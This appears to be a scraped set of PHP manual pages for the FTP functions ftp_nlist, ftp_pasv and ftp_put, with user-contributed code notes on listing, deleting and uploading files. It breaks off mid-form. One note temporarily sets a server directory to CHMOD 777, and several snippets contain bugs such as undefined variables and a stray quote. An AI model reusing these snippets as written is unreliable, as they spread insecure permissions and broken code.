function ftp_is_dir($folder) {
   global $conn_id;
   if (ftp_chdir($conn_id, $folder)) {
      ftp_chdir($conn_id, '..');
      return true;
   } else {
      return false;
   }
}

function xdir($path) {
   global $conn_id;
   $contents = ftp_nlist($conn_id, $path);
   foreach($contents as $file) {
      if ($file!='.'&&$file!='..') {
         if (ftp_is_dir($file)) {
            echo $file . ' is a folder<br>';
         } else {
            echo $file . ' is a file<br>';
         }
      }
   }
}
xdir('.');
?>

can be looped through... using the function xdir if the file is a folder ;)
Returns a warning upon not being a folder... use error_reporting(0); to resolve this issue.
nigel (at) amanwithapencil (dot) com 04-Feb-2007 04:02
Actually, this works better (suppresses the error when ftp_chdir() fails)!:

if (!@ftp_chdir($ftp_conn, $userfolder))
{
    ftp_mkdir($ftp_conn, $userfolder);
    ftp_chdir($ftp_conn, $userfolder);
}
nigel (at) amanwithapencil (dot) com 03-Feb-2007 08:26
Further to kip's post, this works:

if (!ftp_chdir($conn, $folder))
{
    ftp_mkdir($conn, $folder);
    ftp_chdir($conn, $folder);
}
kip at friendchip dot com 12-Dec-2006 04:48
If you're just after an ftp version of is_dir you can see if ftp_chdir returns true or false.
fx dot menard at pleasenospam dot free dot fr 05-Oct-2006 02:35
A derived use of ftp_nlist function: determine if a given path exists and is a directory or a plain file (this is not easy with basic ftp functions). This code doesn't issue any warning or error. It makes use of ls option -d for efficiency, and -F to append a slash if the retrieved path is a directory.

<?php
// returns information on a given ftp path
// 0 if path does not exist
// 1 if path is a file
// 2 if path is a directory
function ftp_pathtype( $conn, $path )
{
    $res = ftp_nlist( $conn, "-dF " . $path );
    if ( isset( $res[0] ) and
         strlen( $res[0] ) )
    {
        if ( $res[0][ strlen( $res[0] )-1 ] === "/" )
            // a directory
            return 2;
        else
            return 1;
    } else
        return 0;
}
?>
artiom1st at yahoo dot com 24-Aug-2006 07:26
Sometimes, you won't be able to get folder content because of NAT or Firewall issues on your server. As a result you need to put ftp connection into a passive mode:

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// enabling passive mode
ftp_pasv( $conn_id, true );

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>
sksafarath at impelsys dot com 23-Aug-2006 04:17
If we are giving second parameter as full directory  path then it wil return the list of files with full path, If we want to list only files you can do as following code
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
//if u want to display the files from /home/test/
//change directory point to /home/test using
ftp_chdir($conn_id, "test");
//then pass second parameter as null which will give the list of files.
// get contents of the current directory
$contents = ftp_nlist($conn_id, "");

Note: This is working for me in PHP5
robtherat at gmx dot de 09-Aug-2006 06:00
The function from nekrostar at gmx dot net does not work for me, so I've tryed to do it my way. For checking if a found file is a directory or not I use the ftp_size function.

<?php
function ftplistdir($conn_id, $dir){
    $fold_no = array(".", "..", "cgi-data", "comp", "zuern", "counter");
    $list = ftp_nlist( $conn_id, $dir );
    foreach($list as $file){
        if (ftp_size($conn_id, $dir ."/".$file)== -1){
            if (in_array($file, $fold_no)) {
                print $file ." Ueberspringe ausgeschlossenes Verzeichnis.<br>";
            } else {
                $geslist[]= $dir ."/". $file;
                $temp=ftplistdir($conn_id, $dir ."/". $file);
                $geslist=array_merge($geslist, $temp);
            }
        }else{
            $geslist[]= $dir ."/". $file;
        }
    }
    return $geslist;
}
?>
I hope it's usefull for anyone
Robert
nekrostar at gmx dot net 02-Aug-2006 04:08
This function returns an array with the directory path and all files and subdirs which are in this

    function ftp_searchdir($conn_id, $dir)
    {
        if( !@ftp_is_dir( $conn_id, $dir ) ) {
            die( 'No such directory on the ftp-server' );
        }
        if( strrchr( $dir, '/' ) != '/' ) {
            $dir = $dir.'/';
        }
        $dirlist[0] = $dir;
        $list = ftp_nlist( $conn_id, $dir );
        foreach( $list as $path ) {
            $path = './'.$path;
            if( $path != $dir.'.' && $path != $dir.'..') {
                if( ftp_is_dir( $conn_id, $path ) ) {
                        $temp = ftp_searchdir( $conn_id, ($path), 1 );
                        $dirlist = array_merge( $dirlist, $temp );
                } else {
                    $dirlist[] = $path;
                }
            }

        }
        ftp_chdir( $conn_id, '/../' );

        return $dirlist;

    }
----------------------------------------------------------------------
    //Looks if a directory ($dir) is isset
    //returns true or false

    function ftp_is_dir( $conn_id,  $dir )
    {
        if( @ftp_chdir( $conn_id, $dir ) ) {
            ftp_chdir( $conn_id, '/../' );
            return true;
        } else {
            return false;
        }
    }
mail at martinauer dot net 14-May-2006 10:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr 24-Feb-2006 10:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
    if(!@ftp_delete($handle, $path))
    {
        $list = @ftp_nlist($handle, $path);
        if(!empty($list))
            foreach($list as $value)
                ftp_rmdirr($handle, $value);
    }

    if(@ftp_rmdir($handle, $path))
        return true;
    else
        return false;
}
turigeza on yahoo com 07-Nov-2005 07:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
    {
    if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
        {
        $list = ftp_nlist($handle, $path);
        if (!empty($list))
            foreach($list as $value)
                ftp_rmdirr($value, $handle);
        }
    @ftp_rmdir($handle, $path);
    }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com 29-Jun-2005 09:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
    if (empty($ftp_user_name)) {
        $ftp_user_name = "anonymous";
    }
    if ($itempath[0]!=="/") {
        $itempath = "/".$itempath;
    }

    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    $contents = ftp_nlist($conn_id, "$itempath");

    if (!empty($contents[0])) {
        $check = str_replace($itempath, "", $contents[0]);
        if (!empty($check)) {
            return true;
        }
    }
    ftp_close($conn_id);
}

// example :
    if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
        // do something related to directory handling action
    } else {
        // The target item is a file ...
    }

?>
ds at over dot hu 18-Dec-2004 08:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
    foreach ($files as $file) {
      if (ftp_size($cid, $file) == "-1"){
        filecollect($cid,$file);
      } else $flist[] = $file;
    }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
    $filelist = filecollect($conn_id);
    echo "<pre>";
      print_r($filelist);
    echo "</pre>";
  }

?>
webmaster at torbox dot info 26-Sep-2004 09:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com 29-Feb-2004 02:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au 13-Oct-2003 08:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc 14-Jul-2003 12:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com 03-Jun-2003 10:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
    function files($dir)
    {
        /*
        if(!isset($dir) || empty($dir))
        {
            $dir=ftp_pwd($this->conn_id);
        }
        */
        unset($list);
        unset($files);
        unset($folders);
        unset($folder);
        unset($file);
        @ftp_chdir($this->conn_id, $dir);
        $dir = ftp_pwd($this->conn_id);
        $list=Array();
        $list=ftp_nlist($this->conn_id, "$dir");
        $files = Array();
        $folders = Array();
        for($i = 0; $i != sizeof($list); $i++)
        {
            $entry = str_replace("//", "", $list[$i]);
            if(@ftp_chdir($this->conn_id, $entry))
            {
                $folders[] = $entry;
                ftp_chdir($this->conn_id, $dir);
            }
            else
            {
                $files[] = $entry;
            }
        }
        print "\t<b> Dateien in ".$dir." :</b><br><br>";
        foreach($files as $file)
        {
            print $file."<br>";
        }
        print "\t<b>Ordner in ".$dir." :</b> <br><br>";
        foreach ($folders as $folder)
        {
            print "\t".$folder."<br>";
            ftp_chdir($this->conn_id, $dir);
            $this->files($folder);
        }
    }
louis at ewens dot com 29-Apr-2003 04:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br 12-Feb-2003 08:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
    $newlist = array();
    reset($list);
    while (list(,$row) = each($list))
    {
        $buf="";
        if ($row[0]=='d'||$row[0]=='-'){
        $buf = substr($row,55);
        $newlist[]=$buf;
        }
    }

return $newlist;
}
ryan at wonko dot com 20-Mar-2002 07:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com 13-Nov-2000 12:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");
ftp_nb_put
ftp_pasv
FTP Functions


Turns passive mode on or off

ftp_nlist
ftp_put
FTP Functions
PHP Manual

ftp_pasv

(PHP 4, PHP 5)

ftp_pasv — Turns passive mode on or off

Description

bool ftp_pasv ( resource $ftp_stream , bool $pasv )

ftp_pasv() turns on or off passive mode. In passive mode, data connections are initiated by the client, rather than by the server. It may be needed if the client is behind firewall.

Please note that ftp_pasv() can only be called after a successfull login or otherwise it will fail.

Parameters

ftp_stream

The link identifier of the FTP connection.

pasv

If TRUE, the passive mode is turned on, else it's turned off.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_pasv() example

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// turn passive mode on
ftp_pasv($conn_id, true);

// upload a file
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

mac at codegreene dot com 09-Jul-2010 03:20
I found one place that required passive mode to function properly, but the initial error manifested itself in an odd way:

PHP Warning:  ftp_put(): TYPE is now ASCII in <file.php> on line <#>

or

PHP Warning:  ftp_put(): TYPE is now 8 BIT BINARY in <file.php> on line <#>

The other symptom is that it was taking a long time, perhaps the 90 seconds that the timeout was set to. No errors occurred upon connect, just when I tried ftp_put().

Once I turned on ftp_pasv() it worked, both in the place where active mode worked, and on the server where active mode wouldn't work.
Anonymous 04-Sep-2009 10:45
If you find that you are receiving "Illegal PORT command" errors you may want to try enabling passive mode.
ybourbeau at edison dot ca 08-Apr-2002 03:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
03-Apr-2002 04:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.
ftp_nlist
ftp_put
FTP Functions


Uploads a file to the FTP server

ftp_pasv
ftp_pwd
FTP Functions
PHP Manual

ftp_put

(PHP 4, PHP 5)

ftp_put — Uploads a file to the FTP server

Description

bool ftp_put ( resource $ftp_stream , string $remote_file , string $local_file , int $mode [, int $startpos = 0 ] )

ftp_put() stores a local file on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

local_file

The local file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_put() example

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// upload a file
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($conn_id);
?>

Changelog

Version | Description
4.3.0 | startpos was added.

See Also

  • ftp_pasv() - Turns passive mode on or off
  • ftp_fput() - Uploads from an open file to the FTP server
  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)

User Contributed Notes

lourspolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
lousrpolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
JDD 12-Mar-2010 06:22
In case you aren't aware...  Some web hosting services do NOT allow outbound ftp unless you have a dedicated server account.  A "shared" hosting account often doesn't have this capability.

So if you can't get your ftp, curl, or ssh remote file transfer functions to work, check with the host service and ask.  You may have to upgrade your account.
Svinto 01-Mar-2010 04:58
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:

FTP uses 2 connections on different ports, one for connection/handshake and another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but because of the different IP-adresses this didn't work.

Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
bintjes at gmail dot com 02-Jul-2009 01:51
I've seen two notes about a "ftp_copy" function but i think   there's a misinterpretation about what an "ftp_copy" function should do. For me , it should be something like an ftp_rename that would keep the orginal file and clone it somewhere else on the same ftp server, as for them they consider its purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol there's no such thing as an FTP COPY  command anyway, i think you're free to interpret it as you want.
So here's my solution using ftp_put and ftp_get ..

<?php
// bool ftp_copy  ( resource $ftp_stream  , string $initialpath, string $newpath, string $imagename )
function ftp_copy($conn_distant , $pathftp , $pathftpimg ,$img){
        // on recupere l'image puis on la repose dans le nouveau folder
        if(ftp_get($conn_distant, TEMPFOLDER.$img, $pathftp.'/'.$img ,FTP_BINARY)){
                if(ftp_put($conn_distant, $pathftpimg.'/'.$img ,TEMPFOLDER.$img , FTP_BINARY)){
                        unlink(TEMPFOLDER.$img) ;
                } else{
                        return false;
                }

        }else{
                return false ;
        }
        return true ;
}
?>
Anonymous 26-Apr-2009 07:51
If when using ftp_put you get the one of the following errors:

Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection

Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
Kev 31-Mar-2009 08:36
Got this cryptic error

Warning:  ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48

Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)

e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);

you have to put

<?php
ftp_chdir($conn, '/www/site/');
ftp_put($conn,'file.html', 'c:/wamp/www/site/file.html', FTP_BINARY );
?>
emailfire at gmail dot com 20-May-2008 03:45
Took me forever to work out but this will work if you get the paths right!

<?php
function ftp_copy($file) {
global $conn_id;
$ftp_root = '/public_html/';
$site_root = '/home/usr/public_html/';
return ftp_put($conn_id, $ftp_root . $file, $site_root . $file, FTP_BINARY);
}
?>

Login to your site using an FTP client to retrieve the $ftp_root

Use something like getcwd() to get the $site root
florian dot ember at gmail dot com 17-May-2008 08:08
Currently, there is no function that lets you specifiy the file's contents as a string. However, there is ftp_fput(), which operates on an open file. Using this function in conjunction with tmpfile() lets you emulate this kind of function. (You could also use php://memory, but this breaks BC).

<?php
function ftp_fputs($ftp_stream, $remote_file, $contents, $mode, $startpos = 0)
{
    $tmp = tmpfile();
    fwrite($tmp, $contents);
    rewind($tmp);
    $result = ftp_fput($ftp_stream, $remote_file, $tmp, $mode, $startpos);
    fclose($tmp);
    return $result;
}
?>
Aditya P Bhatt (adityabhai at gmail dot com) 26-Mar-2008 03:18
Here is the Code I am using for the same function with more flexibility in static code:
<?
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";

//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want to throw the file on the webserver (relative to your login dir)

$conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message

if ((!$conn_id) || (!$login_result)) {  // check connection
    // wont ever hit this, b/c of the die call on ftp_login
    echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
    exit;
} else {
    //echo "Connected to $ftp_server, for user $ftp_user_name <br />";
}

$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY);  // upload the file
if (!$upload) {  // check upload status
    echo "<span style='color:#FF0000'><h2>FTP upload of $filename has failed!</h2></span> <br />";
} else {
    echo "<span style='color:#339900'><h2>Uploading $name Completed Successfully!</h2></span><br /><br />";
}
ftp_close($conn_id); // close the FTP stream
?>
dherran at gmail dot com 17-Dec-2007 12:01
If you are moving files from one folder to another inside the same server, the "local file" field has to be indicated in a relative path according to the location of the script running the ftp_put() function.

For example, your function is running on: /public_html/do_ftp.php and you want to move /public_html/products.php to /public_html/backup/products.php

The correct way to build the function would be:

ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php', FTP_ASCII);

After having headaches for 2 days trying to make this function work using absolute paths in both fields, I finally found the right way to use it. I hope it helps someone. Excuse my english, it isn't my native language.
Ari 16-Jul-2007 11:30
I'm copying fairly large backup files from server to server. ftp_put was running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started working again.
todd 11-May-2007 11:26
This is an extremely trivial thing but one that had me stumped forever (well, until I decided to check the error logs and see the error). I had a large file (mysql backup of a huge forum) that was only partially being uploaded to a remote backup server. Couldn't figure out why, until I realized that the max execution time was being hit since it was taking longer than 30 seconds to upload this file.

<?php
set_time_limit(0);
rest of the code here....
?>

That did the trick. It's one of those dumb, trivial things, and if you're having trouble like I, it may be something you overlooked.
koen dot depoorter at gmail dot com 11-Feb-2007 04:24
If you are having timeouts uploading a file, even very small files, you might have a look at ftp_pasv()

And don't forget to do it after your ftp_login();

koen
tom pittlik 20-Dec-2005 02:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb 25-Aug-2005 05:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au 16-Jul-2005 01:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
        $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

    $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

        $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
    if (!$upload) {// check upload status
        echo "FTP upload of $destination_file has failed!";
    } else {
        echo "Uploaded $file to $conn_id as $destination_file";
    }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com 08-Jul-2005 05:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com 29-Jun-2005 06:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
    $connection = ftp_connect($ftpServer);
    ftp_login($connection, $ftpUser, $ftpPass);
    ftp_chdir($connection, $ftpDir);
    // open the directory so that 'nobody' can create a temporary file
    ftp_site($cn, "CHMOD 777 $ftpDir");
    $new="tempFile";
    @unlink($new); // just in case
    $handle=fopen($new,"x");
    chmod($new,0777);
    fputs($handle,"a bunch of stuff...");
    fclose($handle); // have to rewind
    $handle=fopen("tempFile","r");
    ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
    fclose($handle);
    unlink($new);
    // remove open access to the directory
    ftp_site($connection, "CHMOD 755 $ftpDir")
    ftp_close($connection);
?>
herok at atwatcher dot com 17-Jun-2004 10:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven 23-Sep-2003 09:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com 04-Aug-2003 01:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
    $d = dir($src_dir);
    while($file = $d->read()) { // do this for each file in the directory
        if ($file != "." && $file != "..") { // to prevent an infinite loop
            if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                    ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
                }
                ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
            } else {
                $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
            }
        }
    }
    $d->close();
}
darian lassan at yahoo de 05-Feb-2003 04:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de 25-Sep-2002 05:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

    while($file = $d->read()) {

        if ($file != "." && $file != "..") {

            if (is_dir($src_dir."/".$file)) {

                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

                ftp_mkdir($conn_id, $dst_dir."/".$file);
                }

            ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
            }
            else {

            $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
            }
        }
    }

$d->close();
}
kiwo1 at yahoo dot com 28-Aug-2002 10:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

